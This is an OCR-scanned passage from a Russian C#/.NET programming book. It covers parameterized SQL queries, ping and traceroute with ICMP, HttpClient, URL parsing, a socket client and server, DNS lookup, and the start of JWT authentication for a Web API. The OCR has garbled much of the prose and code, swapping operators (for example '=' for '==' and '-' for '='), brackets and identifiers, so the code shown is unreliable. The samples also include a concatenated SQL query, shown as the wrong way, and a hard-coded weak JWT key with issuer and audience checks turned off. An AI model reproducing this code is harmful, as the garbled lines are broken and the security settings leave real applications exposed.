Подобный метод оптимизации стоит делать точечно, где действительно происходит много работы с массивами. Я продолжаю по умолчанию использовать списки для удобства чтения.
5.10. Параметризованные запросы к БД
Допустим, что у нас есть в коде запрос к базе данных, который выполняется следующим образом:
string sql = @"select Userid, Email, Password
from [User]
where userid = " + id;
SqlCommand command = new SqlCommand(sql, connection);
В результате база данных будет получать запросы в виде строки:
select Userid, Email, Password frcm [User] where userid = 1 select Userid, Email, Password from [User] where userid = 2
Но проблема тут в том, что для базы данных эти строки разные, и каждый раз при получении такой строки ее нужно прочитать, построить план выполнения и запустить запрос на выполнение. А это всё время...
Посмотрим на следующий запрос:
string sql = 0"select Userid, Email, Password
from [User]
where userid = @id";
SqlCommand command = new SqlCommand (sql, connection);
command.Parameters.Add(new SqlParameter("id", id));
Здесь я уже использую параметры, и это не только безопасно, но еще и быстро. Теперь при выполнении запроса БД получает строку, которая не меняется. Меняется только параметр, который приходит вместе с запросом, и сервер базы данных может без проблем использовать существующий план выполнения.
На начальном этапе сервер базы данных получает запрос, он читается, создается план, и этот план помещается в кеш. Последующие запросы начинают выполняться практически сразу же, пока в кеше есть план.
В большинстве случаев это будет работать отлично, но и тут бывают «подводные камни», которые приводят к падению производительности. Например, если у вас есть электронный магазин с каталогом товаров, и запрос ищет товары в определенной категории: select * from product
join category on product.categoryid = category.categoryid where categoryid = 0id
Производительность в .NET
229
Здесь в запросе объединяются две таблицы, и именно в таких случаях часто возникают проблемы.
Сервер смотрит на статистику данных и на основе этого решает, как выполнять запрос. Если в базе данных большинство категории содержат совсем немного товаров, то для выполнения запроса сервер может в цикле для каждого продукта найти нужную категорию. Именно такой план попадет в кеш.
Но если возникнет категория, для которой будет 1000 товаров, то тут уже цикл окажется неэффективным, и запрос резко просядет в производительности.
Это уже вопрос производительности баз данных, и тут есть свои нюансы, определяющие, как оптимизировать подобные ситуации. Но мы, как С#-программисты, все также должны использовать параметры, потому что в большинстве случаев это будет быстрее и безопаснее.
ГЛАВА 6
Сеть
Сеть открывает нам целый электронный мир, но в то же время и мы можем открыться всему миру, поэтому сетевую безопасность рассматривают как отдельное направление.
Когда я вел в журнале <факер» рубрику «Кодинг», то первые статьи в этой рубрике были о сети, или я приводил там небольшие программы-приколы. Впоследствии эти статьи превратились в целую книгу «Программирование в Delphi глазами хакера» [5]. Так что когда я начал работу над этой книгой, то вопрос присутствия в ней главы по сетям у меня даже не стоял — она просто обязана быть тут.
Для иллюстрации кода из этой главы я создал новый проект (см. папку Network сопровождающего книгу файлового архива).
6.1. Проверка соединения
Начнем мы с самой простой задачи — проверки соединения. Наверное в любой ОС с сетевыми возможностями есть утилита с именем Ping, которая проверяет соединение с компьютером/сервером.
Идея работы команды Ping в том, чтобы отправить на указанный адрес пакет по протоколу ICMP (Internet Control Message Protocol, протокол межсетевых управляющих сообщений) и ожидать ответа. Если ответ получен в заданный срок, то выбранный компьютер в сети работает. С помощью таких запросов еще очень часто замеряют скорость соединения между компьютерами.
В .NET есть готовый класс с именем ping в пространстве имен System.Net. Networkinfomation.
Для тестирования я создал новый класс Pingclient всего с одним методом Execute:
public void Execute(string host) {
Ping ping = new Ping();
Сеть
231
for (int i = 0; i < 4; i++)
try
PingReply reply = ping.Send(host); if (reply.Status “ IPStatus.Success) {
Console.Write ($’’Ответ от: {reply.Address} ”);
Console. WriteLine ($ ’’Время: {reply. RoundtripTime} ”); } else
Console.WriteLine ($’’Ошибка {reply.Status}”);
}
catch (Exception e) {
if (e.InnerException?.Source ■■ ’’System.Net.NameResolution”) Console. WriteLine ($’’Ошибка DNS или соединения”);
else
Console.WriteLine($’’Ошибка {e.Message}”);
}
} }
Чтобы протестировать этот класс, просто создаем экземпляр и вызываем метод Execute с указанием адреса сайта или IP-адреса компьютера, который вы хотите проверить на доступность:
var pingClient = new PingClient();
pingClient.Execute (’’www.flenov.info”);
Но вернемся к реализации метода. В нем создается экземпляр класса Ping из библиотеки .NET и в цикле из четырех итераций вызывается метод send, которому как раз и передается имя хоста (компьютера/сервера).
Казалось бы, в случае проблемы мы должны просто проверить статус и увидеть возможную ошибку, но если возникают проблемы соединения, неверного адреса, неверного имени домена, то происходит исключительная ситуация, поэтому мне пришлось обернуть весь код в try except.
Есть несколько вариантов проверить тип ошибки, но я решил выбрать самый наглядный, на мой взгляд: проверить поле Source, если оно равно ошибке NameResolution.
6.2. Отслеживание запроса
Еще одна задача, которая решается с помощью ICMP-протокола, — это возможность отследить, как пакет движется от вашего компьютера до сервера. В предыдущем разделе мы просто отправляли запрос с данными по умолчанию, но у этого
232
Гпава 5
протокола есть еще настройки, и самая интересная из них — TTL (Time to Live, время жизни). Смысл этого параметра в том, чтобы защитить пакет от бесконечной жизни, которая может возникнуть, если пакет где-то заблудится и будет гулять по кругу между двумя или несколькими компьютерами.
Когда компьютер отправляет запрос, то он устанавливает поле TTL в какое-то значение — например, в 50. Пока запрос идет до места назначения, он преодолевает на пути различные устройства: маршрутизаторы, балансировщики, серверы — и каждый из них уменьшает значение TTL. Если какое-то устройство так уменьшает значение TTL, что оно достигает нуля, то устройство должно вернуть ошибку TtiExpired (время жизни устарело).
Тем самым гарантируется, что пакет не заблудится в бесконечном поиске места назначения, потому что по достижении лимита TTL запрос должен вернуться обратно к отправителю.
А что если мы отправим ICMP и сразу же установим TTL в 1? Первое же устройство должно будет вернуть ошибку TtiExpired. Если установить значение в 2, то второе устройство должно вернуть эту ошибку. Таким способом мы можем получить путь, который пакет преодолевает по дороге от нас до сервера назначения. Есть, конечно, вероятность, что при отправке пакета со временем жизни 5 запрос пойдет по одному маршруту, а при времени жизни 6 — по другому, но чаще всего запросы все же идут одним и тем же маршрутом.
Итак, давайте напишем класс, который будет вычислять маршрут между серверами. Этот процесс называют Trace Route (отследить маршрут), поэтому я даже класс назвал TraceRoute, И у Него тоже будет метод Execute: public void Execute(string host) { Ping ping = new Ping(); PingOptions options = new PingOptions(); options.Ttl = 1;
PingReply reply; do { try { reply = ping.Send(host, 1000, new byte[] { 110, 110 }, options); if (reply.Status = IPStatus.TtiExpired) { Console.Write($"Ответ {options.Ttl} от: {reply.Address} "); Console. Wr i teLine ($ "Время: {reply. Roundt r ipTime} ");
} options.Ttl = options.Ttl + 1; } catch (Exception e) {
Console.WriteLine($"Ошибка DNS или соединения”);
Сеть
233
return;
)
} while (reply.Status != IPStatus.Success);
Console.WriteLine("Прибьши");
}
Для реализации снова используется класс Ping ИЗ состава System. Net. Networkinformation. Сразу после создания класса я создаю и экземпляр Pingoptions, через который можно задавать опции и как раз нужный нам параметр TTL. Сразу же после создания этому свойству задается начальное значение 1.
Теперь я использую немного другую версию метода send:
reply = ping.Send(host, 1000, new byte[] { 110, 110 }, options);
Она получает четыре параметра:
П адрес или доменное имя компьютера, к которому мы хотим найти маршрут;
□ время ожидания ответа: 1000 миллисекунд, или 1 секунда. Если за это время не получен ответ, то считается, что ответ не может быть получен. Не каждое устройство или сервер отвечают на ICMP-запросы. Какой-то компьютер на пути следования запроса или даже конечная точка могут быть настроены так, что они не будут отвечать на запросы по ICMP-протоколу, и тогда время ожидания выйдет (timeout);
□ данные, которые нужно отправить. Тут не имеет значения, что отправлять, поэтому я просто взял массив из двух одинаковых байтов но;
□ опции. Вот через них как раз и передается время жизни.
Теперь в цикле я отправляю ICMP-запрос и постепенно увеличиваю время жизни пакета Tti. При этом на каждом шаге отображаю адрес устройства, которое вернуло ответ.
Пример использования этого класса:
var traceclient = new TraceRoute();
traceclient.Execute(”www.flenov.info”);
В результате я увидел:
Ответ 1 от: 192.168.86.1 Время: 6
Ответ 2 от: 198.84.246.97 Время: 20
Ответ 4 от: 104.195.128.93 Время: 15
Ответ 5 от: 206.248.155.94 Время: 20
Ответ 6 от: 206.248.155.9 Время: 18
Ответ 7 от: 62.115.61.240 Время: 19
Ответ 8 от: 213.248.94.123 Время: 26
Ответ 9 от: 4.69.219.74 Время: 55
Ответ 10 от: 4.53.7.174 Время: 69
Ответ 11 от: 69.195.64.113 Время: 65
Ответ 12 от: 162.144.240.135 Время: 70
234
Глава 5
Первый же ответ пришел от адреса 192.168.86.1 — это мой домашний маршрутизатор Wi-Fi. Второй ответ пришел от 198.84.24 6.97. Используя Google, вы можете определить, кому принадлежит этот адрес, и узнать, что я пользуюсь канадским провайдером TekSawy Solutions Inc. из Торонто. То, что я живу в Торонто, — не секрет, так что я не стал затирать эту информацию.
В общем, дальше идут адреса, которые преодолел пакет на пути от моего компьютера до сервера, на котором живет мой сайт www.flenov.info.
Если у вас возникли проблемы соединения с каким-либо сайтом, то с помощью утилиты ping теперь вы можете определить, какой из IP-адресов на пути пакета тормозит. У меня резкий скачок во времени отзыва произошел после перехода с адреса 213.248.94.123 на 4.69.219.74 (9-й по счету). Время отклика тут увеличилось с 26 до 55 — т. е. упало почти в два раза.
6.3. Класс HTTP-клиент
В современном мире большую популярность набирает подход с микросервисами — когда на серверах работают небольшие веб-приложения, которые решают небольшие задачи, но делают это хорошо.
Самым популярным методом доступа к данным в этом подходе является НТТР- протокол, который используется для коммутации в сети, просто вместо HTML-кода микросервисы возвращают JSON-документы с данными. Но с точки зрения доступа идея идентична, и это как раз является преимуществом.
Микросервисы работают, как и веб-сайты, на простых веб-серверах на порту 80, а значит, для них не нужно никаких дополнительных правил доступа. В большинстве сетей порт 80 никак не блокируется. Даже в корпоративных сетях, где ради безопасности с помощью сетевого экрана для доступа к внешнему миру могут быть заблокированы все порты, порт 80 не блокируется, чтобы сотрудники могли иметь доступ к Сети. Поскольку и сервисы часто работают на этом же порту, им не требуются дополнительные правила.
HTTP-протокол пришел в наш мир надолго, и поэтому имеет смысл рассмотреть работу с ним подробнее.
В .NET имелось несколько подходов для доступа к HTTP, и со временем часть из них была помечена как устаревшая и не рекомендуется сейчас к использованию. В разд. 5.8 мы уже затронули вопрос производительности Httpclient, потому что на момент подготовки книги именно этот класс является рекомендуемым. В будущем все может поменяться, но поскольку сейчас рекомендуется использовать Httpclient, давайте рассмотрим работу сервисов на его примере:
static readonly HttpClient client = new HttpClient();
public async Task<string> Execute() {
try
Сеть
235
{
using (HttpResponseMessage response -
await client .GetAsync (’’http: //www. flenov. info/”))
{
response.EnsureSuccessStatusCode();
string responseBody ■ await response.Content.ReadAsStringAsync();
return responseBody;
}
}
catch (Exception e)
{
return e.Message;
} }
Класс HttpClient изначально спроектирован так, чтобы работать в неблокирующем (асинхронном) режиме.
6.4. Класс Uri
Если вы собираетесь заниматься веб-программированием, то, скорее всего, вам придется работать и со строками адреса URL. Мне приходилось разбирать этот адрес на составляющие, чтобы узнать имя хоста или параметры, и это можно сделать двумя способами:
□ разобрать строку адреса самостоятельно — если посмотреть на URL как на строку, то мы без проблем сможем разделить ее на части и вьщелить имя хоста, путь к файлу и строку параметров;
□ воспользоваться классом uri из пространства System, который выполнит такой разбор за нас. В этом случае нам останется только обратиться к свойствам класса, чтобы узнать все его составляющие.
У конструктора класса Uri есть один параметр — строка. В этой строке мы просто передаем адрес страницы:
Uri uri = new Uri(urlTextBox.Text);
У класса uri очень много параметров, описывать их все я не стану (ищите такое описание в русской версии MSDN). А здесь мы познакомимся с основными его параметрами на примере разборки адреса http://www.flenov.info/folder/test.php? param l=value:
□ host — возвращает имя хоста в адресе (в нашем случае это www.flenov.info);
□ AbsolutePath — возвращает путь к файлу (/folder/test.php);
□ PathAndQuery — возвращает путь, включая строку параметров, но без имени хоста (/folder/test.php?paraml=value);
□ Query — возвращает строку параметров (?paraml=value);
236
Гпава 5
□ Segments — массив из строк, которые представляют собой сегменты в пути к файлу. В нашем случае в этом массиве будут три элемента:
•
• folder/;
• test.php.
У нас еще остается одна проблема, которую можно решить программным разбором URL-адреса. Допустим, что нам нужно разбить строку параметров на параметры и значения. Посмотрим, как это можно сделать:
Uri uri = new Uri("http://www.flenov.info/paraml=value¶m2");
string query = uri.Query.Substring(l, uri.Query.Length - 1);
string[] parameters = query.Split(’&’);
foreach (string segment in parameters) {
string[] paramvalues = segment.Split(’=’);
lines.Add ("Param: " + paramvalues[0]);
if (paramvalues.Length > 1)
lines.Add("Value: " + paramvalues[1]);
}
В первой строке создается объект uri. Потом я копирую содержимое свойства Query в строковую переменную query — копирую всё, кроме первого символа. Дело в том, что первый символ — это знак вопроса, который нам мешает.
Теперь в строке query у нас находится "parami=vaiue". Если в URL имеется несколько параметров, ТО они будут выглядеть так: nparaml=value¶m2=value2n — параметры объединяются символом &. Прежде всего, нужно разбить такую строку на пары ’'параметр-значение". Для разбиения строки по какому-то символу можно использовать метод split о класса строки. Метод после разбиения возвратит массив строк, В котором будут находиться две строки: "paraml=value" И "param2=value2". Если параметров больше, то и элементов в массиве будет больше.
Чтобы просмотреть все элементы, мы запускаем цикл foreach. На каждом шаге цикла у нас теперь будет строка, которую нужно разделить по символу равенства. Что мы и делаем в следующей строке:
string[] paramvalues = segment.Split (’ = ’);
Тут нужно быть внимательным, потому что paramvalues не всегда будет содержать два значения: имя параметра и значение. Вполне реально, когда URL-параметр не содержит никакого значения и адрес выглядит так:
http://www.flenov.info/paraml=value¶m2¶m3=value3
Обратите внимание, что второй параметр здесь значения не содержит.
Сеть
237
6.5. Уровень розетки
Если нужно загрузить ЧТО-ТО ПО HTTP-протоколу, ТО лучше использовать HttpClient. Хотя этот протокол самый популярный, далеко не все используют его, да и иногда бывает необходимо создать что-то свое, более специализированное.
Для более низкого уровня работы с сетью используются функции работы с Socket (дословно Socket можно перевести как розетка, гнездо). Эти функции есть не только в Windows, но и в UNIX-подобных системах, — таких как Linux или macOS. Насколько я помню, эти функции зародились в UNIX, но впоследствии были реализованы таким же образом в Windows, чтобы достичь полной совместимости во время сетевого соединения между различными операционными системами.
При работе с сокетами очень часто используется клиент-серверный подход. Приложение-сервер открывает на компьютере какой-нибудь порт, а приложение-клиент подключается к серверу на этот порт, и между двумя приложениями начинается обмен данными. Данные могут передаваться как по сети, так и на одном и том же компьютере — просто между двумя различными приложениями.
Когда приложение-сервер открывает порт, то оно как бы резервирует за собой определенное число. На сервере может быть несколько различных программ, каждая из которых может ожидать своих подключений, но при этом они просто резервируют за собой разные порты.
Когда клиент подключается на определенный порт и отправляет на него данные, по номеру порта ОС знает, какому приложению предназначены данные. Два разных приложения не могут открыть один и тот же порт, потому что тогда ОС просто не будет знать, для кого предназначены подключения и кому отправлять полученные данные.
Давайте рассмотрим простой пример создания с помощью сокетов клиент-серверного приложения.
6.5.1. Сервер
Начнем рассмотрение с сервера, для чего я создал новый класс socketserver. У этого класса имеется метод start, который будет запускать сервер на порту 12345:
public void Start() {
server = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
EndPoint endPoint = new IPEndPoint(IPAddress.IPv6Any, 12345);
try
{
server.Bind(endPoint);
server.Listen(100);
server.BeginAccept(new AsyncCallback(AcceptCallback), server);
238
Глава 5
catch (Exception exc)
Console.WriteLine("Невозможно запустить сервер " + exc.Message);
}
)
Сначала создаем класс socket, которому передаются три параметра:
□ ТИП адресации. Самыми популярными ЯВЛЯЮТСЯ AddressFamily. InterNetwork (IP-протокол четвертой версии) ИЛИ AddressFamily. InterNetworkV6 (набирающая популярность шестая версия IP-протокола). Хотя до сих пор IPv4 остается более популярным, я решил использовать для этого примера более современный IPv6. Разница только в том, как вы будете указывать адрес подключения;
□ тип сокета. Самым популярным является socketType.stream, который используется совместно с протоколом TCP, когда между двумя точками устанавливается соединение;
□ тип протокола. Здесь выбираем протокол с установкой соединения ProtocolType.
Тер.
Когда мы в разд. 6.1 рассматривали ICMP-протокол, то он не использовал соединения, и на уровне сокетов подобный протокол реализовывался бы с помощью протокола UDP. Тогда ТИП соединения должен быть SocketType. Dgram:
server - new Socket(AddressFamily.InterNetwork,
SocketType.Dgram, ProtocolType.Udp);
После этого создается конечная точка в виде объекта класса iPEndPoint — точка соединения, которой нужно указать адрес и номер порта. Для примера я выбрал порт под номером 12345.
А зачем же нужен IP-адрес? Тут дело чуть сложнее. Каждый сетевой интерфейс (сетевая карта, модем и т. д.) должен иметь свой собственный адрес для связи с внешним миром. Если у вас две сетевые карты, подключенные к двум разным сетям, вы можете указать IP-адрес той сетевой карты, из сети которой клиенты могут подключаться к вашему серверу. Если вы хотите, чтобы ваша серверная программа была видна со всех сетевых интерфейсов, то можно указать iPAddress.iPv6Any. Работая с 4-й версией IP-протокола, здесь нужно указать iPAddress .Any.
Итак, у нас есть сокет и есть точка соединения. Их нужно связать между собой. Для этого служит метод сокета Bind ().
Теперь наш сокет готов к работе. Следующим этапом я вызываю метод Listen (), который открывает порт и начинает прослушивать его в ожидании подключений со стороны клиентов. Обратите внимание, что этот код я выполняю в блоке try. Дело в том, что на этапе связывания (вызова метода Bind ()) может произойти исключительная ситуация, если сервер уже запускался, или какая-то другая программа уже открыла порт для прослушивания.
После начала прослушивания нужно как-то принять входящие от клиентов соединения— можно вызвать метод Accept о. Метод останавливает выполнение про-
Сеть
239
граммы и ждет соединения. Как только первый клиент соединится с нашим сервером, метод вернет новый объект класса Socket, который может использоваться для обмена данными с клиентом. Этот сокет уже будет соединен с клиентом, и нам достаточно только задействовать его методы для обмена сообщениями.
Но самое страшное тут в том, что этот метод блокирует работу программы. Она зависнет в ожидании, а это просто недопустимо для нашего примера. Вместо этого я использую асинхронный вариант этого метода, который называется BeginAccept () и принимает два параметра:
□ метод, который должен быть вызван, когда клиент подключится к серверу;
□ переменную, которая будет передана в этот метод.
В качестве второго параметра я передаю объект сервера, чтобы его можно было получить внутри функции, которую мы передали в качестве первого параметра. Да, у нас эта переменная и так объявлена в качестве параметра объекта, и мы легко можем получить к ней доступ, но я все же хочу показать вам, как передавать параметр, а больше мне нечего передавать.
Итак, когда клиент подключится, будет вызван метод, который мы указали в качестве первого параметра методу BeginAccept (). Мой вариант этого метода выглядит следующим образом:
void AcceptCallback(XAsyncResult result) {
Socket? serversocket = (Socket?)result.AsyncState;
SocketData data - new SocketData();
data.Clientconnection - serverSocket?.EndAccept(result);
data.Clientconnection?.BeginReceive(data.Buffer, 0,
1024, SocketFlags.None, new AsyncCallback(Readcallback), data);
}
В качестве параметра метод получает переменную, которая реализует интерфейс lAsyncResuit. Свойство AsyncState этой переменной содержит тот же объект, который мы передали в качестве второго параметра методу BeginAccept (). Мы передавали серверный сокет, поэтому можем просто прочитать это значение из свойства и использовать его.
Теперь я создаю новый экземпляр объекта SocketData. Этого объекта нет среди .NET, я его создал для своего примера. Дело в том, что в моем протоколе клиент будет посылать команды серверу, а не сервер запрашивать данные у клиента, и этот объект очень сильно нам поможет:
class SocketData
{
public const int BufferSize = 1024;
public Socket Clientconnection { get; set; }
240
Гпава.5
byte[] buffer = new byte(Buffersize];
public byte[] Buffer
get { return buffer; } set { buffer = value; }
} }
В этом классе у нас всего два свойства:
□ clientconnection класса Socket — для хранения объекта, который установил соединение с клиентом;
□ Buffer типа массива байтов, который станет использоваться для хранения полученных от клиента данных.
Итак, после создания нового экземпляра этого класса я сохраняю в свойстве Clientconnection результат работы метода EndAccept ():
data.Clientconnection = serversocket.EndAccept(result);
В этот метод мы передаем переменную, которую сами получили в качестве параметра в этой функции. А в качестве результата возвращается объект класса socket, который установил соединение с клиентом. Именно этот объект и сохраняется.
Теперь мы готовы принимать данные от клиента. Для этого можно использовать метод Receive о, но он, опять же, синхронный и блокирует работу программы, что нам нежелательно делать. Дело в том, что клиент может вообще не прислать никаких сообщений серверу, и тот будет зря блокировать основной поток программы (мы же работаем в основном потоке и никаких дополнительных потоков не создаем).
Вместо этого я использую асинхронный метод BeginReceive (), который принимает аж 6 параметров:
□ буфер, в который будут записаны получаемые данные;
□ смещение в буфере, начиная с которого нужно записывать данные;
□ размер буфера;
□ флаги (все значения флагов можно посмотреть в MSDN);
□ метод, который должен быть вызван, когда клиент пришлет какие-то данные;
□ произвольный параметр, который мы можем передать и потом получить в методе обратного вызова. Точно так же, как мы поступали с методом Begin-Accept ().
В методе обратного вызова получения данных нам понадобятся буфер и объект сокета, и причем оба одновременно. Именно поэтому я создал класс socketData — всё необходимое сразу сохраняю в объекте этого класса и передаю в качестве последнего параметра методу BeginReceive (). Следующий код показывает пример метода обратного вызова:
Сеть
241
void ReadCallback(ZAsyncResuit result) {
SocketData? data = (SocketData?)result.AsyncState;
int bytes = data?.ClientConnection?.EndReceive(result) ?? 0;
if (bytes > 0 && data?.Buffer != null) {
string s = Encoding.UTF8.GetString(data?.Buffer!, 0, bytes);
Console.WriteLine(s);
data?.Clientconnection?.Send(
Encoding.UTF8.GetBytes("Получено: " +
s.Length + ” символов"));
}
}
Этот метод получает такой же параметр интерфейса ZAsyncResuit. И объект, который мы передавали в последнем параметре BeginReceiveо, находится в свойстве с тем же именем AsyncState. Еще бы, ведь интерфейс-то не изменился!
Мы вызывали прием данных асинхронно и теперь готовы завершить этот процесс. Для этого вызываем метод EndReceive (). В качестве параметра метод получает объект, который мы получили в качестве параметра в методе обратного вызова, а в качестве результата мы получаем количество принятых байтов. Сами данные записываются В буфер, который МЫ передали методу BeginReceive о. Именно поэтому было важно передать буфер в эту точку кода, чтобы мы могли его прочитать здесь.
Если количество байтов больше нуля, то я преобразовываю буфер в строку, используя уже знакомый нам класс Encoding:
string s = Encoding.UTF8.GetString(data.Buffer, 0, bytes);
Я применяю кодировку UTF-8, потому что ожидаю, что клиенты будут передавать данные именно в этой кодировке. Если клиент пришлет данные в ASCII или любом другом формате, то текстовые данные банально превратятся в абракадабру и, скорее всего, будут нечитаемы.
Получив строку, я возвращаю клиенту обратно ответ с помощью метода Send о объекта сокета, который мы сохранили в свойстве clientconnection. Мы уже использовали этот метод при работе с HTTP через сокеты. Только на этот раз, чтобы получить массив байтов для отправки, я, опять же, применяю кодировку UTF-8.
6.5.2. Клиент
Теперь посмотрим на код клиента, для которого я создал класс socketclient с методом SendMessage, который будет подключаться к серверу на локальном компьютере, отправлять одно сообщение и получать один ответ:
public void SendMessage(string command) {
Socket socket = new Socket(AddressFamily.InterNetworkV6,
SocketType.Stream, ProtocolType.Tcp);
242
Гпава 5
var address = IPAddress.Parse(”::1”);
EndPoint endPoint = new IPEndPoint(address, 12345); socket.Connect(endPoint);
Byte[] bytesSent = Encoding.UTF8.GetBytes(command); socket.Send(bytesSent);
byte[] buffer = new byte[1024];
int readBytes;
StringBuilder pageContent = new StringBuilder();
if ((readBytes = socket.Receive(buffer)) > 0) {
string resultStr = System.Text.Encoding.UTF8.GetString(
buffer, 0, readBytes);
pageContent.Append(resultStr);
Console.WriteLine(resultStr);
}
socket.Close();
}
Снова создается класс Socket с такими же параметрами, как и у сервера, иначе соединение будет невозможно. Если сервер использует протокол с соединением на основе TCP, то и клиент должен задействовать такой же протокол.
После этого создается точка соединения. На этот раз мы должны указать конкретный IP-адрес компьютера, на котором работает приложение-сервер. Я тестирую веб на одном и том же компьютере, а для подключения к самому себе в IP-протоколе шестой версии нужно указать адрес ::1. Это сокращенная версия локального адреса— более полная записывается так: 0000:0000:0000:0000:0000:0000:0000:0001.
Если вы не первый день знакомы с компьютерами, то, возможно, видели адрес 127.0.0.1 — это локальный адрес для IP-протокола 4-й версии.
Когда мы создали розетку и указали, к какому компьютеру хотим подключиться, то можно начинать подключение с помощью метода Connect:
socket.Connect(endPoint);
Если сервер уже запущен в этот момент, то соединение должно пройти успешно.
После подключения можно начинать обмен сообщениями, для чего я использую синхронный режим и метод Send:
Byte[] bytesSent = Encoding.UTF8.GetBytes(command); socket.Send(bytesSent);
Сетевые функции просто передают информацию как набор байтов. Им все равно, что означают эти байты. В нашем случае строка была превращена в набор байтов в формате UTF-8. Когда я разбирал строку сервера, то там от клиента тоже ожидались данные в этой кодировке.
Сеть
243
Получение данных также происходит в синхронном режиме с помощью метода Receive. И мы сразу же закрываем соединение с сервером.
Это минимальное приложение, которое демонстрирует сразу же несколько интересных возможностей: сервер, клиент, асинхронная передача данных, синхронная передача данных.
6.6. Доменная система имен
Далеко не всегда удобно работать с IP-адресами, да они могут и меняться в Интернете. Проще работать с привычными нам словами, поэтому в Интернете используются доменные имена — просто перед тем, как соединиться с сервером, такое имя превращается в IP-адрес с помощью доменной системы имен (Domain Name System, DNS).
Можно сделать относительно универсальную функцию, которая будет сначала пытаться превратить строку в ГР-адрес, а если произошла ошибка, то будем считать, что в строке доменное имя и попробуем воспользоваться DNS:
public IPAddress? GetAddress(string address) {
IPAddress? ipAddress = null;
try
{ ipAddress = IPAddress.Parse(address);
}
catch (Exception)
{
IPHostEntry heserver;
try
{
heserver = Dns.GetHostEntry(address);
if (heserver.AddressList.Length == 0) return null;
ipAddress = heserver.AddressList[0];
}
catch
{ return null;
}
}
return ipAddress;
}
Для работы c DNS в .NET есть одноименный класс и метод GetHostEntry, которому нужно передать имя домена, — в результате мы получим объект, в котором должен быть список всех адресов. Да, у одного имени может быть множество адресов. Чаще всего множество адресов используется крупными сайтами.
244
Гпава 5
Например, у поисковой системы Google огромное количество адресов. И DNS изначально возвращает нам IP-адреса серверов Google, которые находятся ближе к посетителю. Если посетитель находится в Европе, то будет лучше, если его запрос станет обрабатывать европейский сервер. Если пользователь из Канады, то лучше даже посмотреть, из какой части, потому что Канада огромная, и разница между ее восточным и западным побережьем — тысячи километров, как и в России между восточной и западной границами.
Так что DNS может возвращать более одного адреса, и нужно быть готовым к этому. Какой из них выбрать? Любой, но вполне достаточно взять самый первый из списка.
ГЛАВА 7
Web API
В последнее время все большую популярность набирают Web API, когда на серверах работают приложения, которые возвращают данные в каком-то формате,— в основном в виде JSON-данных. Такие приложения называют бэкендом (backend), потому что они выполняются на удаленных серверах.
Для работы в браузере с помощью библиотеки React или фреймворка Angular пишется отдельное приложение — фронтенд (frontend). Это название указывает на то, что код выполняется перед посетителем в браузере, а не удаленно на сервере. Фронтенд-приложение как раз и отвечает за то, чтобы запрашивать данные с сервера и отображать их посетителю в нужном формате.
Я не буду рассматривать здесь фронтенд-часть Web API, потому что и React, и Angular основаны на JavaScript, который я стараюсь обходить в этой книге стороной. А вот бэкенд часто пишут на С#, и о его безопасности стоит поговорить.
7.1. Пример Web API
Я не стану придумывать ничего сверхъестественного, а воспользуюсь шаблоном по умолчанию, который генерирует для нас мастер Visual Studio при создании тестового проекта Web API. Для иллюстрации кода из этой главы я создал новый проект (см. папку ApiTest сопровождающего книгу файлового архива).
Создайте новый проект и выберите шаблон Web API. Visual Studio создает один контроллер weatherForecastcontroiier с методом Get, который возвращает погоду, которая генерируется случайным образом. Для нас этого достаточно, потому что аккуратность данных сейчас нас не волнует, — тут больше вопрос самого факта наличия какого-то API, который мы можем использовать для тестирования.
Запустите проект, и в окне браузера откроется панель Swagger. Но вы не обязаны использовать Swagger — можно обратиться по адресу https://localhost:7251/ WeatherForecast, потому что этот метод ожидает GET-запрос, который как раз отправляется при обращении к странице через браузер. В результате в браузере мы должны увидеть данные в JSON-формате. Если выполнять запрос через Swagger, то
246
Глава 7
они будут красиво отформатированы, если из браузера, то это просто будет одна сплошная строка.
Подобные API отлично работают для веб-приложений и для мобильных приложений.
У нас есть отличный пример API-запроса, который должен быть доступен всем. А что если нам нужно сделать так, чтобы в API могли обращаться только определенные люди? Если мы хотим защитить наш мобильный API от всеобщего доступа?
7.2. JWT-токены
На заре распространения мобильных приложений мне довелось работать над созданием API для мобильного приложения Sony — тогда не существовало устоявшихся стандартов и приходилось придумывать что-то уникальное.
У API нет сессии и нет cookie-файлов, которые бы передавались автоматически, как это происходит при использовании браузера. Но можно реализовать подобие сессии — просто передавать уникальный идентификатор вместе с каждым запросом. Именно так я тогда и поступил, создавая API для мобильного приложения.
Итак, для Sony я реализовал API, предоставляющий функцию авторизации, в результате которой пользователь этого API (мобильное приложение) получал уникальный токен, с помощью которого можно было потом обращаться к другим API. При вызове каждого API я передавал этот уникальный токен.
Сейчас уже есть готовые решения, упрощающие разработку авторизации API- запросов, и нам больше не нужно ничего изобретать. Этот процесс можно реализовать с помощью JWT-токенов1. Он схож с тем, что когда-то реализовал я: авторизация, получение уникального токена и использование его для доступа к API. Давайте добавим в наш проект простейшую авторизацию.
Начнем с того, что проверим наличие в файле Program.cs проекта включения авторизации:
арр.UseAuthentication();
Если этой строки там нет, то ее нужно добавить.
string securitykeystring = ’’this is my testO”; var securitykey = Encoding.ASCII.GetBytes(securitykeystring);
builder.Services.AddAuthentication(x => {
x.DefaultAuthenticateScheme = JwtBearerDefaults.Authenticationscheme;
x.DefaultChallengeScheme = JwtBearerDefaults.Authenticationscheme;
})
1 JWT (JSON Web Token) — открытый стандарт для создания токенов доступа, основанный на формате JSON.
Web API
247
.AddJwtBearer(x ■>
x.RequireHttpsMetadata = false;
x.SaveToken = true;
x.TokenValidationParameters = new TokenValidationParameters
{
ValidatelssuerSigningKey = true,
IssuerSigningKey e new SymmetricSecurityKey(securitykey),
Validatelssuer « false,
ValidateAudience = false
};
});
Для успешной компиляции этого кода нужно подключить пакет и пространство Имен Microsoft.AspNetCore.Authentication.JwtBearer.
В первой строке здесь задается ключ безопасности. Желательно выбирать что-то более длинное и сложное, но я выбрал ключ минимальной длины — 16 символов. Если строка будет короче, то при попытке получить токен приложение рухнет. Также было бы неплохо хранить этот ключ не в коде, а в конфигурационном файле, а в случае с облачными технологиями можно использовать сейф.
Далее идет настройка JWT. Из всех параметров я включаю только сохранение токена (SaveToken) И проверку ключа (ValidatelssuerSigningKey). Ключ указывается В качестве параметра IssuerSigningKey,
Если контроллер или метод защищены атрибутом [Authorize], то для доступа к этому API нужно будет предоставить специальный токен. Давайте добавим этот атрибут к WeatherForecastController:
[ApiController]
[Authorize]
[Route(”[controller]”)]
public class WeatherForecastController : ControllerBase
Теперь если запустить сайт и обратиться к API погоды, то произойдет ошибка 401 Unauthorized.
Для авторизации я создал отдельный класс JWTAuthenticationManager, в котором будет находиться вся логика:
